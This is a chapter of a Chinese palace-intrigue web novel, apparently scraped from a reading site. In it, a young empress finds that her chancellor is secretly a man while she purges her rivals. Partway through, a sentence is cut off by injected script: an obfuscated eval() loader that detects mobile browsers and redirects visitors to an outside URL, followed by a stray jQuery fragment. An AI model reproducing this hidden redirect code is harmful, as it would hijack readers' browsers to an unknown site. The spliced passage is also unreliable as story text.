沉香,有沉香的味道飘至鼻尖。
记忆中,他的生父便总是在衣服上能熏能安神的沉香。
秋凝雪的意识还是不清醒,但却本能地害怕了起来。
昏暗不清的环境,将他整个人都笼罩在其中的阴影,强硬的、完全不容他拒绝的触碰,还有沉香,熟悉的沉香……
秋凝雪仿佛已经看到了那条朝他挥过来的鞭子。他又回到了什么也做不了的幼年时期,被困在孩童的身躯里,无比害怕地看着脸色狰狞的父亲。
他痛苦地哀求,希望能得到哪怕一点儿的怜悯:“不要,不要……求您,我会改的……我全部都改……求您,别这样对我。”
祁云照动作一滞,险些打翻身边的水盆。手里的帕子突然便变得沉重起来,犹有千斤,压得她再也抬不起手。
她的头更加剧烈地痛起来,好像被撕裂,又好像被针扎。她知道背恩忘义会遭天谴,但这报应是不是来得太快了。
“阿父!求您……别打我,我好疼……求您……阿父。”
她如此伤心痛苦,可祁云照在听清对方口中的称呼后,竟然隐秘地松了口气。
她放下手中沾了水的丝帕,非常伤心地看着对方。就在刚刚,她发现,如果对方真的哀求她放过自己,她……她便下不了手了。
但现在,好像更糟糕了。
她一定会做噩梦的。
祁云照将人揽在怀里,慢慢解开秋凝雪的衣扣。不知怎么的,她便想起了她父亲在进冷宫后曾对她说过的话。
“阿照,下辈子不要做我的孩子了。我太无能,保护不了你。”
可能是怕她年幼记不住事,父亲在寒冬里抱着她时,将这话说了很多遍。一遍又一遍,让她痛彻心扉,真的再也忘不了。
祁云照想起父亲的话,又想起对方口中那个残忍的父亲,心中忽然涌现出一个异想天开的想法:
如果人真的有来世,可以自由地转生,那么,请你来做我的孩子吧。
换我来照顾你、保护你,护持你平平安安地长大。我一定做个好母亲,给你想要的一切,不让任何一个像我这样的人靠近你……
祁云照此刻心乱如麻,百感交集,一时竟然不觉得对方平坦的胸口有什么毛病。直到秋凝雪的上衣大敞,瘦得差不多只剩一把骨头的腰侧,冒出一朵梅花一样的印记。
……她如遭雷劈。
祁云照当然知道这是什么东西!这是男子的守贞印。
天子僵在原地。第一反应居然是有人在她和柳卓如的眼皮子底下,神不知鬼不觉地换走了真正的秋凝雪。
但这张脸,确实没有任何伪饰的痕迹,就是她看了很多年的那张脸。
她……他?
祁云照的心从没跳得这样快过!她下意识地将人的衣服拢紧,觉得自己的心好像下一秒就要从胸膛里钻出来了。
秋凝雪那些曾经被很多人诟病调侃过的怪癖,统统都得到了解释——因为是男子,所以格外注重仪容和装束,再热的天也裹得严严实实。同样,也正是因为这样,不喜欢别人近身,从不让太医看病。
她深深呼一口气,终于回过神来,脑子里的第二个想法是:她暂时应该不用遭天谴了。
祁云照没再脱他的衣服,直接将那件朝服展开,匆匆裹在了他身上。
那个充斥着不祥气息的酒壶,被她一脚踢翻在地。
她飞快地将人抱起来,转身看向身后一众完全摸不着头脑的护卫,冷声道:“今日的事谁也不许外传,若有人敢泄密,夷三族。”
诸侍从顿时跪下应是。
祁云照健步如飞,抱着人飞速往外走。一扭头,却看见侍卫们还愣在原地,一脸不知道发生了什么的蠢相。
“愣着做什么?快去传太医令,让她立马到清嘉殿去!”
*
长阶上的血早就被宫人打扫干净了。
但受命而来的太医令还是觉得空气中的血腥气挥之不去。就连富丽堂皇的宫殿,也好像平空多了几分阴森森的气息。
她低着头,比以往更小心地跟着郎官进入天子的寝殿。她躬身行礼,正要行礼参拜,便听见天子的声音:“免礼,人命重要,快些过来。”
她慌忙提着箱子上前,撩开珠帘,便发现天子坐在床沿,而御榻上,躺着一个气息微弱、衣裳脏乱的人。
走到床前时,她眼睛微微睁大,认出了秋丞相的脸。
太医令有些吃惊,但更多的还是欣慰。虽然天子今日大开杀戒,但看来的确是个仁君。以她现在的架势来看,秋丞相应该能保住性命了。
太医令观察着秋凝雪的气色,心里已经在琢磨:回家之后,便多给小佛堂里的观音像摆些贡品吧。
她捋起袖子,认真地开始把脉。
……太医令开始怀疑,是不是自己今日走进清嘉殿的方式不太对。
她左看右看,这脉象都是个男子啊!
“陛下……这?这……”
天子很沉静地坐在那里,直直地盯着太医的眼睛,言简意赅地说:“能不能治?”
太医令总觉得她要是说不能,皇帝下一秒就要将她大卸八块扔出殿外了。
可是,从脉象上看:对方的身体实在太糟糕了。她左思右想,还是没有把握,只能据实相告:“陛下,丞相本就身体孱弱,又饱受牢狱之苦,在寒狱待了太久……这,病情大凶,只能下虎狼之药了。”
天子神色未变,闻言只是侧了侧头,眼中的悲哀一闪而过。她当然不能说什么治不好就让对方陪葬的混账话,便只能看着床上的人,说:“……你看着办吧。”
“是。”太医令擦了擦额头上的汗,松了口气,说:“臣去熬药。”
天子点点头,又叫住她,突兀地问:“来时,你看见清嘉殿外的桃花了吗?”
太医有些摸不着头脑,小心翼翼地答:“……是?”
“知道那里的桃花为什么开得那样好吗?”
“臣不……”
“因为那里埋过很多人。”
“陛下恕罪!臣……”
祁云照打断:“不要说不该说的话,你会平平安安的。”她看着病人始终皱紧的眉,又补充道:“再顺便拿副安神汤来。”
“是,臣谨记。”
熬药是需要时间的。祁云照坐在床沿,将目光落在病人的身上,陷入沉思。
要公开他的性别吗?
秋丞相名动天下,贤德远播,天底下不知有多少人景仰他!就算柳卓如不知从哪儿找到了他和蛮夷王储来往的书信,将铁证放在朝堂上,依然有很多人不愿相信。
但如果秋丞相只是个男子……这些便都不是问题了。即便还是有人敬佩他、善待他,他也不可能再威胁皇权。
这样的结果当然很好。
可是,失去了权势地位的秋丞相,要怎么生活呢?有人景仰他,便有人仇视他。如果他的秘密成为了天下共知的奇闻,那么,即便是阴沟里的老鼠,努努力,也能踩他一脚了。
皇权可以庇护他。祁云照可以将他收进后宫,依然像礼敬老师一样礼敬他,像爱护亲人一样爱护他,但秋凝雪会乐意吗?
不管他是因为什么换上红装,走上朝堂,他都做得很好,比世间绝大多数人都做得更好!这样的人,应该不会乐意余生都被困在后宫。
那就让这个秘密,成为她与秋凝雪两个人的秘密吧。但他之前就提过辞官,这样的话,秋凝雪一定会旧事重提——她不想放他走。
真是好令人为难的选择。但和在邢狱里那会儿相比,已经算是甜蜜的烦恼了。
祁云照放弃了给他整理衣冠、沐浴更衣的打算。她将秋凝
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15541673|171001||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
雪的衣服恢复了原样,让人在西暖阁烧起地龙,小心地将人抱了过去。
那就当作什么也没发生,什么也不知道。
如果秋凝雪哪天真的起了异心,她再亲手揭开这个秘密,将其公之于天下。
天子终于下定了决心,浅浅地勾起一个笑。可这点儿好心情很快就消失了,她看着太医令开出来的药方,眉心越蹙越紧。
她不通药理,只是刚刚登基那会儿,怕自己哪天就被人毒死,所以粗浅地读过几本医书。
可就算她只是个初学者,她也知道这张药方是真正的虎狼之药。
君臣佐使,样样都是猛药……可能还没等这副汤药起效,这些药物就先要了他的命。
太医端着那碗药,站在一旁,征询天子的意见。她确实是治病的人,但很多时候,该怎么治病,都不能由她拍板。
祁云照捂着头,沉吟道:“没有其他法子了……那就给他灌下去吧。”
她看着老太医将人扶起来,想喂他喝药。但男人太过虚弱,根本喂不进去。老太医便只能拿出一个漏斗,口中不断喃喃低语。
祁云照蓦地有点儿难过。
她刚刚左思右想,考虑了那么多,可能都要白费了。
*
祁云照不喜欢提心吊胆地等待半天,最后还是一个坏结果。干脆便不再过问,吩咐太医仔细照看、有好消息再来通知她。
她还有很多事要忙。
虎贲中郎将王信傍晚时就来求见了,说是要来汇报关于卢琦部的情况,但其实是来求解药的——她让人喂的东西真的只是颗小糖丸,一时半会儿哪有什么解药。于是只好给人一通加官进爵,将人暂时打发走。
王信估计是以为她对结果不满意,非常惶恐地带着虎贲卫搜查柳卓如的党羽去了。披坚执锐的甲士整日整日地在京城巡查,直闹得满城权贵都不安宁。
祁云照故意放任她闹了两天,才去太医院随便寻摸了一颗药丸赐给她,安抚住这条疯狗。
柳卓如是真的自尽了。她派过去的羽林刚刚围住柳府,柳卓如便知事败,一根绳子吊死在了卧室。这个结果对祁云照来说是最好不过的。她安慰了几句伤心的小妹妹,允许她私下祭拜。
卢琦和那些跟随她反叛的将领全部身死。而卢琦府上那些夫郎和子嗣,则被收监,进了刑部大牢。
听说卢琦身死的第二天,之前那个被她们母女强抢入府的小郎便跑到京兆尹自首,说自己之前遭人胁迫,诬陷了丞相府的江小姐。
京兆尹是个很聪明又识时务的人,马上受理了这个案子,报到御前。祁云照亲自过问了几句,给江佩兰翻了案,将她无罪释放,放归回府。
之前卢琦跟着柳卓如得势时,曾经花过重金买通狱卒,故意折磨江佩兰。现在这孩子的情况比秋凝雪也好不上多少。
祁云照是真有些怜悯已故的淮阳侯了——总共就两个后人,结果亲生孩子和收养的孩子都是一身伤病。便派了两个御医到丞相府,为江佩兰诊治。
江佩兰谢恩离开。在宫人的搀扶下走下长阶时,正好与一名来清嘉殿复命的羽林擦肩而过。
那个人很年轻,职位估计也不是很高,甚至满脸风尘,但是没有人敢看轻她。周围干活的宫人在见到她之后,都很恭敬地低下了头,将周围的地面扫了又扫。
——因为她们,都是天子意志的代行者。
少年天子依旧像往常一样,待在清嘉殿里,或读书写字,或骑射习武,甚至很少接见朝臣。
但不同于以往的是,一道又一道的政令从这里发出。有人因此被杀,举家倾覆,就在一夜之间;有人被拔擢升官,多年坚守,终于得到回报。
被很多人或鄙夷或轻视地赞颂过仁德的天子,不知什么时候,就积聚起了巨大的力量。人人丧胆自危,害怕祸临己身。